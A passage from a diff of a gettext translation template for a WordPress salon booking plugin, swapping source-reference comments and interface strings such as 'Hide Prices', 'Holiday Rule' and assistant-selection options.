build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:163\n-msgid \"Display slots using customer's time-zone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:230\n+msgid \"Hide on booking\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:175, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:175, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:175\n-msgid \"Enable assistant selection\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:224\n+msgid \"Hide on checkout\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:178\n-msgid \"Let your customers choose their favourite staff member.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:94\n+msgid \"Hide on front-end\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:185\n-msgid \"Only from back-end\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:244\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:244\n+msgid \"Hide Prices\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:188, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:188, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:188\n-msgid \"If enabled the assistant selection step will be hidden on front-end.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75\n+msgid \"Hide reservations\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:189\n-msgid \"Assistants will be assigned automatically by the system.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:212\n+msgid \"Hide service duration\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:211\n msgid \"Hide unavailable assistants\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:204, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:204, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:204\n-msgid \"Skip assistant selection step\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59\n+msgid \"High end (evaluates also service duration and priority)\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:207\n-msgid \"Skip assistant selection step, if only one is available\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:519\n+msgid \"High-value customers who haven't returned in 60+ days\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:214\n-msgid \"Disable \\\"Choose an assistant for me\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:177\n+msgid \"Holiday Rule\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:217\n-msgid \"When checked the option \\\"Choose an assistant for me\\\" will be removed on front-end Assistants selection step.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234\n+msgid \"Holiday rule\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:224, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:224, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:224\n-msgid \"Smart availability for \\\"Choose assistant for me\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:118\n+msgid \"Holidays\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:227\n-msgid \"When enabled, time slots will only show if at least one assistant is actually available for the service. Works with \\\"Change order\\\" setting (Service → Assistant → Date\u002FTime). Recommended: Keep enabled for accurate availability.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:18\n+msgid \"Holidays days\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:234, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:234, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:234\n-msgid \"Enable multiple assistants selection\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:180\n+msgid \"hour\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:237, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:237, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:237\n-msgid \"Users can select more than one assistants for their booked services. Please set with care the \\\"execution order\\\" inside your services section.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:433\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:433\n+msgid \"Hours\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:244, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:244, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:244\n-msgid \"Enable assistant email on new bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:222\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:226\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:229\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:266\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:268\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:269\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:167\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:169\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:181\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:185\n+#: 